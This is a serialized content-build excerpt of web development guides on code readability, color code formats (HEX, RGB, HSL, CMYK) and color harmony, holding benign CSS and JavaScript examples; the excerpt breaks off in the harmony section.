COMPLIANCE-42)",[199,28459,28460,28463],{},[216,28461,28462],{},"Non-obvious constant",[216,28464,28465],{},[143,28466,28467],{},"\u002F\u002F 0.85 = estimated ratio of active to registered users",[11,28469,28471],{"id":28470},"group-related-code-together","Group Related Code Together",[16,28473,28474],{},"Organize code so related logic is physically close. A reader should not need to scroll between distant files or functions to understand a single feature.",[33,28476,28478],{"id":28477},"file-organization-tips","File Organization Tips",[41,28480,28481,28484,28487],{},[44,28482,28483],{},"Put types and interfaces near the code that uses them, not in a giant shared types file.",[44,28485,28486],{},"Group composable imports, reactive state, computed properties, and methods in the same order across all components.",[44,28488,28489],{},"Keep helper functions in the same file as the component that owns them, until they are reused elsewhere.",[11,28491,28493],{"id":28492},"format-consistently","Format Consistently",[16,28495,28496],{},"Consistent formatting eliminates visual noise. When half the codebase uses semicolons and the other half does not, every reviewer wastes mental energy on irrelevance.",[33,28498,28500],{"id":28499},"tools-that-solve-formatting-debates","Tools That Solve Formatting Debates",[193,28502,28503,28513],{},[196,28504,28505],{},[199,28506,28507,28509,28511],{},[202,28508,751],{},[202,28510,9824],{},[202,28512,922],{},[211,28514,28515,28526,28537,28547],{},[199,28516,28517,28520,28523],{},[216,28518,28519],{},"Prettier",[216,28521,28522],{},"JS\u002FTS\u002FCSS\u002FHTML",[216,28524,28525],{},"Auto-formats on save",[199,28527,28528,28531,28534],{},[216,28529,28530],{},"ESLint",[216,28532,28533],{},"JS\u002FTS",[216,28535,28536],{},"Catches style and logic issues",[199,28538,28539,28542,28544],{},[216,28540,28541],{},"Black",[216,28543,9840],{},[216,28545,28546],{},"Opinionated formatter",[199,28548,28549,28552,28554],{},[216,28550,28551],{},"gofmt",[216,28553,9900],{},[216,28555,28556],{},"Built-in standard formatter",[16,28558,28559],{},"Configure formatters to run on save and in CI. Disallow manual formatting overrides.",[11,28561,28563],{"id":28562},"avoid-magic-numbers-and-strings","Avoid Magic Numbers and Strings",[16,28565,28566],{},"Raw values scattered through code force the reader to guess their meaning. Replace them with named constants.",[135,28568,28570],{"className":1607,"code":28569,"language":1609,"meta":141,"style":141},"\u002F\u002F Magic number — what is 86400?\nsetTimeout(refreshToken, 86400)\n\n\u002F\u002F Named constant — immediately clear\nconst SECONDS_PER_DAY = 86400\nsetTimeout(refreshToken, SECONDS_PER_DAY)\n",[143,28571,28572,28577,28590,28594,28599,28611],{"__ignoreMap":141},[1560,28573,28574],{"class":1562,"line":1563},[1560,28575,28576],{"class":1649},"\u002F\u002F Magic number — what is 86400?\n",[1560,28578,28579,28582,28585,28588],{"class":1562,"line":337},[1560,28580,28581],{"class":1566},"setTimeout",[1560,28583,28584],{"class":1570},"(refreshToken, ",[1560,28586,28587],{"class":1576},"86400",[1560,28589,8252],{"class":1570},[1560,28591,28592],{"class":1562,"line":343},[1560,28593,1702],{"emptyLinePlaceholder":363},[1560,28595,28596],{"class":1562,"line":365},[1560,28597,28598],{"class":1649},"\u002F\u002F Named constant — immediately clear\n",[1560,28600,28601,28603,28606,28608],{"class":1562,"line":889},[1560,28602,8180],{"class":1669},[1560,28604,28605],{"class":1576}," SECONDS_PER_DAY",[1560,28607,8186],{"class":1669},[1560,28609,28610],{"class":1576}," 86400\n",[1560,28612,28613,28615,28617,28620],{"class":1562,"line":1710},[1560,28614,28581],{"class":1566},[1560,28616,28584],{"class":1570},[1560,28618,28619],{"class":1576},"SECONDS_PER_DAY",[1560,28621,8252],{"class":1570},[16,28623,28624],{},"This also makes future changes safer — update the constant in one place instead of hunting for every occurrence.",[11,28626,1355],{"id":1354},[41,28628,28629,28632,28635,28638,28641,28644],{},[44,28630,28631],{},"Name things to reveal intent — avoid abbreviations, single letters, and generic terms.",[44,28633,28634],{},"Keep functions short, focused, and well-named — extract when you need \"and\" to describe them.",[44,28636,28637],{},"Flatten nesting with early returns so the happy path is obvious.",[44,28639,28640],{},"Comment the \"why,\" not the \"what\" — rewrite unclear code instead of adding comments.",[44,28642,28643],{},"Replace magic numbers and strings with named constants.",[44,28645,28646],{},"Use automated formatters so your team never debates style again.",[11,28648,286],{"id":285},[16,28650,28651,28652,28654],{},"Need to convert variable names between conventions? Use the ",[98,28653,23816],{"href":23815}," to instantly switch between camelCase, PascalCase, snake_case, and more.",[2043,28656,28657],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":28659},[28660,28661,28665,28669,28670,28673,28676,28679,28680,28681],{"id":27698,"depth":337,"text":27699},{"id":27708,"depth":337,"text":27709,"children":28662},[28663,28664],{"id":27715,"depth":343,"text":27716},{"id":27805,"depth":343,"text":27806},{"id":27921,"depth":337,"text":27922,"children":28666},[28667,28668],{"id":27928,"depth":343,"text":27929},{"id":27946,"depth":343,"text":27947},{"id":28173,"depth":337,"text":28174},{"id":28359,"depth":337,"text":28360,"children":28671},[28672],{"id":28414,"depth":343,"text":28415},{"id":28470,"depth":337,"text":28471,"children":28674},[28675],{"id":28477,"depth":343,"text":28478},{"id":28492,"depth":337,"text":28493,"children":28677},[28678],{"id":28499,"depth":343,"text":28500},{"id":28562,"depth":337,"text":28563},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Practical techniques to write readable code — from naming and structure to formatting and comments — that help your team move faster.",{"immutable":363},{"title":27693,"description":28682},"guides\u002Fcode-readability-tips","h2vqODiFokBH-93-_0hnNdVpTSiwb3MkY1T0mNcKG6Q",{"id":28688,"title":28689,"body":28690,"date":2070,"description":29549,"extension":361,"meta":29550,"navigation":363,"path":29551,"readingTime":2507,"seo":29552,"stem":29553,"__hash__":29554},"guides\u002Fguides\u002Fcolor-code-formats.md","Color Code Formats",{"type":8,"value":28691,"toc":29517},[28692,28696,28699,28702,28706,28712,28716,28722,28741,28748,28767,28771,28778,28827,28844,28848,28859,28863,28870,28873,28920,28929,28933,28944,29066,29070,29073,29077,29131,29134,29176,29180,29183,29212,29216,29227,29231,29234,29237,29299,29303,29306,29310,29321,29325,29395,29399,29402,29406,29409,29415,29419,29436,29439,29443,29456,29459,29461,29478,29480,29483,29496,29498,29514],[11,28693,28695],{"id":28694},"why-color-formats-matter","Why Color Formats Matter",[16,28697,28698],{},"Every pixel on your screen renders color as a mix of red, green, and blue light. But developers and designers express that same color in different notations—HEX, RGB, HSL, or CMYK—depending on the context.",[16,28700,28701],{},"Using the wrong format creates friction. A designer hands you HSL values; your CSS framework expects HEX. A print vendor requests CMYK; your file uses RGB. Understanding what each format encodes and how to switch between them eliminates that friction entirely.",[11,28703,28705],{"id":28704},"hex-format-explained","HEX Format Explained",[16,28707,28708,28709,28711],{},"HEX (hexadecimal) is the most compact way to write an RGB color for the web. A six-character code prefixed with ",[143,28710,6852],{}," encodes three bytes—one for each channel.",[33,28713,28715],{"id":28714},"syntax","Syntax",[135,28717,28720],{"className":28718,"code":28719,"language":140},[138],"#RRGGBB\n",[143,28721,28719],{"__ignoreMap":141},[16,28723,28724,28725,1856,28728,28731,28732,1811,28734,28736,28737,28740],{},"Each pair uses base-16 digits: ",[143,28726,28727],{},"0–9",[143,28729,28730],{},"A–F",". The range ",[143,28733,5254],{},[143,28735,10403],{}," maps to ",[143,28738,28739],{},"0–255"," in decimal.",[16,28742,28743,6841,28746],{},[47,28744,28745],{},"Example:",[143,28747,3488],{},[41,28749,28750,28755,28761],{},[44,28751,28752,28754],{},[143,28753,22036],{}," → Red = 37",[44,28756,28757,28760],{},[143,28758,28759],{},"63"," → Green = 99",[44,28762,28763,28766],{},[143,28764,28765],{},"EB"," → Blue = 235",[33,28768,28770],{"id":28769},"three-digit-shorthand","Three-Digit Shorthand",[16,28772,28773,28774,5255,28776,8037],{},"When both digits in a pair match, CSS lets you collapse ",[143,28775,5136],{},[143,28777,5133],{},[193,28779,28780,28790],{},[196,28781,28782],{},[199,28783,28784,28787],{},[202,28785,28786],{},"Long Form",[202,28788,28789],{},"Shorthand",[211,28791,28792,28803,28815],{},[199,28793,28794,28798],{},[216,28795,28796],{},[143,28797,14644],{},[216,28799,28800],{},[143,28801,28802],{},"#F00",[199,28804,28805,28810],{},[216,28806,28807],{},[143,28808,28809],{},"#336699",[216,28811,28812],{},[143,28813,28814],{},"#369",[199,28816,28817,28822],{},[216,28818,28819],{},[143,28820,28821],{},"#AABBCC",[216,28823,28824],{},[143,28825,28826],{},"#ABC",[16,28828,28829,28830,28833,28834,1459,28837,6841,28840,28843],{},"Keep in mind: ",[143,28831,28832],{},"#F80"," becomes ",[143,28835,28836],{},"#FF8800",[47,28838,28839],{},"not",[143,28841,28842],{},"#F8F808",". Each digit duplicates itself.",[33,28845,28847],{"id":28846},"when-to-use-hex","When to Use HEX",[41,28849,28850,28853,28856],{},[44,28851,28852],{},"Writing CSS properties directly",[44,28854,28855],{},"Copying values from design tools (Figma, Sketch export HEX by default)",[44,28857,28858],{},"Keeping stylesheets compact and easy to scan",[11,28860,28862],{"id":28861},"rgb-format-explained","RGB Format Explained",[16,28864,28865,28866,28869],{},"RGB writes each channel as a decimal number from 0 to 255 inside the ",[143,28867,28868],{},"rgb()"," function. It's the most explicit way to represent additive color.",[33,28871,28715],{"id":28872},"syntax-1",[135,28874,28876],{"className":1554,"code":28875,"language":1556,"meta":141,"style":141},"rgb(37, 99, 235)\n\n\u002F* Modern space-separated syntax (CSS Color Level 4) *\u002F\nrgb(37 99 235)\n\n\u002F* With alpha transparency *\u002F\nrgb(37 99 235 \u002F 0.8)\nrgb(37 99 235 \u002F 80%)\n",[143,28877,28878,28883,28887,28892,28897,28901,28906,28915],{"__ignoreMap":141},[1560,28879,28880],{"class":1562,"line":1563},[1560,28881,28882],{"class":1570},"rgb(37, 99, 235)\n",[1560,28884,28885],{"class":1562,"line":337},[1560,28886,1702],{"emptyLinePlaceholder":363},[1560,28888,28889],{"class":1562,"line":343},[1560,28890,28891],{"class":1649},"\u002F* Modern space-separated syntax (CSS Color Level 4) *\u002F\n",[1560,28893,28894],{"class":1562,"line":365},[1560,28895,28896],{"class":1570},"rgb(37 99 235)\n",[1560,28898,28899],{"class":1562,"line":889},[1560,28900,1702],{"emptyLinePlaceholder":363},[1560,28902,28903],{"class":1562,"line":1710},[1560,28904,28905],{"class":1649},"\u002F* With alpha transparency *\u002F\n",[1560,28907,28908,28911,28913],{"class":1562,"line":1717},[1560,28909,28910],{"class":1570},"rgb(37 99 235 \u002F 0",[1560,28912,5168],{"class":1566},[1560,28914,8252],{"class":1570},[1560,28916,28917],{"class":1562,"line":1747},[1560,28918,28919],{"class":1570},"rgb(37 99 235 \u002F 80%)\n",[16,28921,28922,28923,28925,28926,28928],{},"The legacy ",[143,28924,5140],{}," function still works, but modern CSS treats alpha as part of ",[143,28927,28868],{}," directly—no separate function needed.",[33,28930,28932],{"id":28931},"when-to-use-rgb","When to Use RGB",[41,28934,28935,28938,28941],{},[44,28936,28937],{},"Adding transparency (alpha channel)",[44,28939,28940],{},"Generatingcolors programmatically in JavaScript",[44,28942,28943],{},"Working with APIs or libraries that return channel arrays",[135,28945,28947],{"className":1607,"code":28946,"language":1609,"meta":141,"style":141},"\u002F\u002F Dynamic color generation is straightforward with RGB\nfunction shiftColor(r, g, b, offset) {\n  return `rgb(${Math.min(r + offset, 255)}, ${Math.min(g + offset, 255)}, ${Math.min(b + offset, 255)})`;\n}\n",[143,28948,28949,28954,28981,29062],{"__ignoreMap":141},[1560,28950,28951],{"class":1562,"line":1563},[1560,28952,28953],{"class":1649},"\u002F\u002F Dynamic color generation is straightforward with RGB\n",[1560,28955,28956,28958,28961,28963,28965,28967,28969,28971,28974,28976,28979],{"class":1562,"line":337},[1560,28957,8648],{"class":1669},[1560,28959,28960],{"class":1566}," shiftColor",[1560,28962,1688],{"class":1570},[1560,28964,23114],{"class":2219},[1560,28966,1459],{"class":1570},[1560,28968,22733],{"class":2219},[1560,28970,1459],{"class":1570},[1560,28972,28973],{"class":2219},"b",[1560,28975,1459],{"class":1570},[1560,28977,28978],{"class":2219},"offset",[1560,28980,9345],{"class":1570},[1560,28982,28983,28985,28988,28991,28993,28996,28998,29000,29003,29006,29008,29010,29012,29015,29017,29019,29021,29023,29025,29027,29029,29031,29033,29035,29037,29039,29041,29043,29045,29047,29049,29051,29053,29055,29057,29060],{"class":1562,"line":343},[1560,28984,9350],{"class":1669},[1560,28986,28987],{"class":5634}," `rgb(${",[1560,28989,28990],{"class":1570},"Math",[1560,28992,468],{"class":5634},[1560,28994,28995],{"class":1566},"min",[1560,28997,1688],{"class":5634},[1560,28999,23114],{"class":1570},[1560,29001,29002],{"class":1669}," +",[1560,29004,29005],{"class":1570}," offset",[1560,29007,1459],{"class":5634},[1560,29009,5400],{"class":1576},[1560,29011,1525],{"class":5634},[1560,29013,29014],{"class":5634},"}, ${",[1560,29016,28990],{"class":1570},[1560,29018,468],{"class":5634},[1560,29020,28995],{"class":1566},[1560,29022,1688],{"class":5634},[1560,29024,22733],{"class":1570},[1560,29026,29002],{"class":1669},[1560,29028,29005],{"class":1570},[1560,29030,1459],{"class":5634},[1560,29032,5400],{"class":1576},[1560,29034,1525],{"class":5634},[1560,29036,29014],{"class":5634},[1560,29038,28990],{"class":1570},[1560,29040,468],{"class":5634},[1560,29042,28995],{"class":1566},[1560,29044,1688],{"class":5634},[1560,29046,28973],{"class":1570},[1560,29048,29002],{"class":1669},[1560,29050,29005],{"class":1570},[1560,29052,1459],{"class":5634},[1560,29054,5400],{"class":1576},[1560,29056,1525],{"class":5634},[1560,29058,29059],{"class":5634},"})`",[1560,29061,2228],{"class":1570},[1560,29063,29064],{"class":1562,"line":365},[1560,29065,1585],{"class":1570},[11,29067,29069],{"id":29068},"hsl-format-explained","HSL Format Explained",[16,29071,29072],{},"HSL (Hue, Saturation, Lightness) separates a color into three perceptual dimensions. It matches how designers think about color: \"I want a blue that's vivid and medium-bright.\"",[33,29074,29076],{"id":29075},"components","Components",[193,29078,29079,29091],{},[196,29080,29081],{},[199,29082,29083,29086,29089],{},[202,29084,29085],{},"Component",[202,29087,29088],{},"Range",[202,29090,4228],{},[211,29092,29093,29106,29119],{},[199,29094,29095,29100,29103],{},[216,29096,29097],{},[47,29098,29099],{},"Hue",[216,29101,29102],{},"0°–360°",[216,29104,29105],{},"Position on the color wheel (0=red, 120=green, 240=blue)",[199,29107,29108,29113,29116],{},[216,29109,29110],{},[47,29111,29112],{},"Saturation",[216,29114,29115],{},"0%–100%",[216,29117,29118],{},"Color intensity (0%=gray, 100%=full chroma)",[199,29120,29121,29126,29128],{},[216,29122,29123],{},[47,29124,29125],{},"Lightness",[216,29127,29115],{},[216,29129,29130],{},"Brightness (0%=black, 50%=pure color, 100%=white)",[33,29132,28715],{"id":29133},"syntax-2",[135,29135,29137],{"className":1554,"code":29136,"language":1556,"meta":141,"style":141},"hsl(221, 83%, 53%)\n\n\u002F* Modern syntax (space-separated, no commas) *\u002F\nhsl(221 83% 53%)\n\n\u002F* With alpha *\u002F\nhsl(221 83% 53% \u002F 0.8)\n",[143,29138,29139,29144,29148,29153,29158,29162,29167],{"__ignoreMap":141},[1560,29140,29141],{"class":1562,"line":1563},[1560,29142,29143],{"class":1570},"hsl(221, 83%, 53%)\n",[1560,29145,29146],{"class":1562,"line":337},[1560,29147,1702],{"emptyLinePlaceholder":363},[1560,29149,29150],{"class":1562,"line":343},[1560,29151,29152],{"class":1649},"\u002F* Modern syntax (space-separated, no commas) *\u002F\n",[1560,29154,29155],{"class":1562,"line":365},[1560,29156,29157],{"class":1570},"hsl(221 83% 53%)\n",[1560,29159,29160],{"class":1562,"line":889},[1560,29161,1702],{"emptyLinePlaceholder":363},[1560,29163,29164],{"class":1562,"line":1710},[1560,29165,29166],{"class":1649},"\u002F* With alpha *\u002F\n",[1560,29168,29169,29172,29174],{"class":1562,"line":1717},[1560,29170,29171],{"class":1570},"hsl(221 83% 53% \u002F 0",[1560,29173,5168],{"class":1566},[1560,29175,8252],{"class":1570},[33,29177,29179],{"id":29178},"why-designers-prefer-hsl","Why Designers Prefer HSL",[16,29181,29182],{},"HSL makes palette generation intuitive. To create lighter and darker variants, you adjust only the lightness value—hue and saturation stay unchanged.",[135,29184,29186],{"className":1554,"code":29185,"language":1556,"meta":141,"style":141},"--brand-300: hsl(221 83% 70%);  \u002F* Light *\u002F\n--brand-500: hsl(221 83% 53%);  \u002F* Base *\u002F\n--brand-700: hsl(221 83% 35%);  \u002F* Dark *\u002F\n",[143,29187,29188,29196,29204],{"__ignoreMap":141},[1560,29189,29190,29193],{"class":1562,"line":1563},[1560,29191,29192],{"class":1570},"--brand-300: hsl(221 83% 70%);  ",[1560,29194,29195],{"class":1649},"\u002F* Light *\u002F\n",[1560,29197,29198,29201],{"class":1562,"line":337},[1560,29199,29200],{"class":1570},"--brand-500: hsl(221 83% 53%);  ",[1560,29202,29203],{"class":1649},"\u002F* Base *\u002F\n",[1560,29205,29206,29209],{"class":1562,"line":343},[1560,29207,29208],{"class":1570},"--brand-700: hsl(221 83% 35%);  ",[1560,29210,29211],{"class":1649},"\u002F* Dark *\u002F\n",[33,29213,29215],{"id":29214},"when-to-use-hsl","When to Use HSL",[41,29217,29218,29221,29224],{},[44,29219,29220],{},"Building design systems and theme variables",[44,29222,29223],{},"Creating accessible color scales with consistent lightness steps",[44,29225,29226],{},"Implementing dark mode (shift lightness without changing hue)",[11,29228,29230],{"id":29229},"cmyk-format-explained","CMYK Format Explained",[16,29232,29233],{},"CMYK (Cyan, Magenta, Yellow, Key\u002FBlack) is a subtractive color model used in print. Unlike RGB, which adds light, CMYK subtracts light from white paper using ink.",[33,29235,29076],{"id":29236},"components-1",[193,29238,29239,29249],{},[196,29240,29241],{},[199,29242,29243,29245,29247],{},[202,29244,29085],{},[202,29246,29088],{},[202,29248,4228],{},[211,29250,29251,29263,29275,29287],{},[199,29252,29253,29258,29260],{},[216,29254,29255],{},[47,29256,29257],{},"Cyan",[216,29259,29115],{},[216,29261,29262],{},"Cyan ink coverage",[199,29264,29265,29270,29272],{},[216,29266,29267],{},[47,29268,29269],{},"Magenta",[216,29271,29115],{},[216,29273,29274],{},"Magenta ink coverage",[199,29276,29277,29282,29284],{},[216,29278,29279],{},[47,29280,29281],{},"Yellow",[216,29283,29115],{},[216,29285,29286],{},"Yellow ink coverage",[199,29288,29289,29294,29296],{},[216,29290,29291],{},[47,29292,29293],{},"Key (Black)",[216,29295,29115],{},[216,29297,29298],{},"Black ink coverage",[33,29300,29302],{"id":29301},"rgb-to-cmyk-conversion-challenges","RGB-to-CMYK Conversion Challenges",[16,29304,29305],{},"RGB and CMYK cover different color spaces (gamuts). Vivid blues and greens on screen often cannot be reproduced exactly in print. A conversion tool gives approximate CMYK values, but always verify with a printed proof.",[33,29307,29309],{"id":29308},"when-to-use-cmyk","When to Use CMYK",[41,29311,29312,29315,29318],{},[44,29313,29314],{},"Preparing assets for commercial printing",[44,29316,29317],{},"Working with brand guidelines that specify print-safe colors",[44,29319,29320],{},"Communicating with print vendors",[11,29322,29324],{"id":29323},"when-to-use-each-format","When to Use Each Format",[193,29326,29327,29338],{},[196,29328,29329],{},[199,29330,29331,29333,29336],{},[202,29332,21080],{},[202,29334,29335],{},"Best Format",[202,29337,23393],{},[211,29339,29340,29351,29362,29373,29384],{},[199,29341,29342,29345,29348],{},[216,29343,29344],{},"CSS stylesheets",[216,29346,29347],{},"HEX or HSL",[216,29349,29350],{},"Compact (HEX) or intuitive scales (HSL)",[199,29352,29353,29356,29359],{},[216,29354,29355],{},"JavaScript color logic",[216,29357,29358],{},"RGB",[216,29360,29361],{},"Direct channel access for math",[199,29363,29364,29367,29370],{},[216,29365,29366],{},"Design systems \u002F themes",[216,29368,29369],{},"HSL",[216,29371,29372],{},"Easy lightness and saturation adjustments",[199,29374,29375,29378,29381],{},[216,29376,29377],{},"Adding transparency",[216,29379,29380],{},"RGB or HSL with alpha",[216,29382,29383],{},"HEX alpha notation has poorer support",[199,29385,29386,29389,29392],{},[216,29387,29388],{},"Print production",[216,29390,29391],{},"CMYK",[216,29393,29394],{},"Matches subtractive ink mixing",[11,29396,29398],{"id":29397},"conversion-overview","Conversion Overview",[16,29400,29401],{},"Every format represents the same underlying color data (except CMYK, which shifts gamut). Here's how the main conversions work:",[33,29403,29405],{"id":29404},"hex-rgb","HEX ↔ RGB",[16,29407,29408],{},"Split the HEX into three pairs and convert each pair from base-16 to base-10 (or reverse).",[135,29410,29413],{"className":29411,"code":29412,"language":140},[138],"#2563EB → rgb(37, 99, 235)\n\nR = parseInt(\"25\", 16) = 37\nG = parseInt(\"63\", 16) = 99\nB = parseInt(\"EB\", 16) = 235\n",[143,29414,29412],{"__ignoreMap":141},[33,29416,29418],{"id":29417},"rgb-hsl","RGB → HSL",[77,29420,29421,29424,29427,29430,29433],{},[44,29422,29423],{},"Normalize R, G, B to 0–1",[44,29425,29426],{},"Find max and min values",[44,29428,29429],{},"Lightness = (max + min) \u002F 2",[44,29431,29432],{},"If max = min, saturation = 0 (achromatic)",[44,29434,29435],{},"Otherwise, saturation and hue are computed from the difference between max and min",[16,29437,29438],{},"The full formula involves conditional branching based on which channel is the maximum—too long to memorize, which is why tools exist.",[33,29440,29442],{"id":29441},"rgb-cmyk","RGB → CMYK",[77,29444,29445,29447,29450,29453],{},[44,29446,29423],{},[44,29448,29449],{},"K = 1 − max(R, G, B)",[44,29451,29452],{},"If K = 1, then C = M = Y = 0 (pure black)",[44,29454,29455],{},"Otherwise: C = (1 − R − K) \u002F (1 − K), and similarly for M and Y",[16,29457,29458],{},"For precise conversions without manual math, use an automated tool.",[11,29460,1355],{"id":1354},[41,29462,29463,29466,29469,29472,29475],{},[44,29464,29465],{},"HEX and RGB encode identical data in different notations—base-16 shorthand vs. decimal function",[44,29467,29468],{},"HSL aligns with human perception and is ideal for design systems",[44,29470,29471],{},"CMYK is for print only; screen colors may not reproduce exactly in ink",[44,29473,29474],{},"RGB is best for programmatic color manipulation in JavaScript",[44,29476,29477],{},"Always verify CMYK conversions with a physical proof—the gamuts differ",[11,29479,286],{"id":285},[16,29481,29482],{},"Convert between every format instantly with our free tools:",[41,29484,29485,29490],{},[44,29486,29487,29489],{},[98,29488,18588],{"href":18587}," — HEX, RGB, HSL, and CMYK in one place",[44,29491,29492,29495],{},[98,29493,29494],{"href":5989},"HEX to RGB Converter"," — fast, focused HEX ↔ RGB translation",[11,29497,321],{"id":320},[41,29499,29500,29507],{},[44,29501,29502,29506],{},[98,29503,29505],{"href":29504},"\u002Fguides\u002Fcolor-picker-guide","Color Picker Guide"," — choose colors visually and get codes in every format",[44,29508,29509,29513],{},[98,29510,29512],{"href":29511},"\u002Fguides\u002Fdesign-color-fundamentals","Design Color Fundamentals"," — the color wheel, harmony types, and building palettes",[2043,29515,29516],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":29518},[29519,29520,29525,29529,29535,29540,29541,29546,29547,29548],{"id":28694,"depth":337,"text":28695},{"id":28704,"depth":337,"text":28705,"children":29521},[29522,29523,29524],{"id":28714,"depth":343,"text":28715},{"id":28769,"depth":343,"text":28770},{"id":28846,"depth":343,"text":28847},{"id":28861,"depth":337,"text":28862,"children":29526},[29527,29528],{"id":28872,"depth":343,"text":28715},{"id":28931,"depth":343,"text":28932},{"id":29068,"depth":337,"text":29069,"children":29530},[29531,29532,29533,29534],{"id":29075,"depth":343,"text":29076},{"id":29133,"depth":343,"text":28715},{"id":29178,"depth":343,"text":29179},{"id":29214,"depth":343,"text":29215},{"id":29229,"depth":337,"text":29230,"children":29536},[29537,29538,29539],{"id":29236,"depth":343,"text":29076},{"id":29301,"depth":343,"text":29302},{"id":29308,"depth":343,"text":29309},{"id":29323,"depth":337,"text":29324},{"id":29397,"depth":337,"text":29398,"children":29542},[29543,29544,29545],{"id":29404,"depth":343,"text":29405},{"id":29417,"depth":343,"text":29418},{"id":29441,"depth":343,"text":29442},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"HEX, RGB, HSL, and CMYK explained — how each color format works, when to use it, and how to convert between them.",{"immutable":363},"\u002Fguides\u002Fcolor-code-formats",{"title":28689,"description":29549},"guides\u002Fcolor-code-formats","Qx3fNZaPmBARfVAOIwl4aYyZItmdFfIodKORmfMFkmA",{"id":29556,"title":4523,"body":29557,"date":2070,"description":29999,"extension":361,"meta":30000,"navigation":363,"path":4522,"readingTime":1747,"seo":30001,"stem":30002,"__hash__":30003},"guides\u002Fguides\u002Fcolor-harmony-theory.md",{"type":8,"value":29558,"toc":29983},[29559,29563,29566,29569,29607,29610,29614,29617,29620,29624,29628,29631,29637,29643,29649,29655,29668,29672,29675,29681,29686,29691,29696,29701,29705,29708,29714,29719,29724,29729,29734,29738,29741,29747,29752,29757,29762,29767,29771,29774,29780,29785,29790,29795,29800,29804,29807,29813,29818,29823,29828,29833,29837,29916,29919,29921,29953,29955,29975,29977],[11,29560,29562],{"id":29561},"the-color-wheel","The Color Wheel",[16,29564,29565],{},"The color wheel is a circle that arranges hues by their chromatic relationship. Sir Isaac Newton created the first version in 1704 by mapping the visible spectrum onto a disc. Modern web design uses the HSL color model, where hue runs from 0° to 360°.",[16,29567,29568],{},"At 12 equal steps, the wheel includes three primary, three secondary, and six tertiary colors. Every color you see on screen maps to a position on this wheel via its hue angle in HSL.",[41,29570,29571,29577,29583,29589,29595,29601],{},[44,29572,29573,29576],{},[47,29574,29575],{},"0° \u002F 360°",": Red",[44,29578,29579,29582],{},[47,29580,29581],{},"60°",": Yellow",[44,29584,29585,29588],{},[47,29586,29587],{},"120°",": Green",[44,29590,29591,29594],{},[47,29592,29593],{},"180°",": Cyan",[44,29596,29597,29600],{},[47,29598,29599],{},"240°",": Blue",[44,29602,29603,29606],{},[47,29604,29605],{},"300°",": Magenta",[16,29608,29609],{},"The wheel is the foundation for every harmony rule that follows. Once you understand it, you can predict whether any pair of colors will look balanced or clash.",[11,29611,29613],{"id":29612},"why-harmony-matters","Why Harmony Matters",[16,29615,29616],{},"Colors placed randomly compete for attention. Harmony rules use geometry on the wheel to produce combinations that feel balanced rather than chaotic. The human eye perceives harmonious pairs as pleasing because they share a measurable relationship—equal angular distance, adjacent positions, or a shared hue.",[16,29618,29619],{},"Without harmony rules, you might pick colors that each look good alone but clash when placed together. The rules prevent that by constraining your choices to proven relationships. Think of harmony as a design constraint that frees you from guesswork.",[11,29621,29623],{"id":29622},"six-harmony-modes-explained","Six Harmony Modes Explained",[33,29625,29627],{"id":29626},"complementary-180-apart","Complementary — 180° Apart",[16,29629,29630],{},"Two colors directly opposite each other on the wheel. The pairing creates maximum contrast.",[135,29632,29635],{"className":29633,"code":29634,"language":140},[138],"Base:       0° (Red)\nComplement: 180° (Cyan)\n",[143,29636,29634],{"__ignoreMap":141},[16,29638,29639,29642],{},[47,29640,29641],{},"Effect",": Energetic, 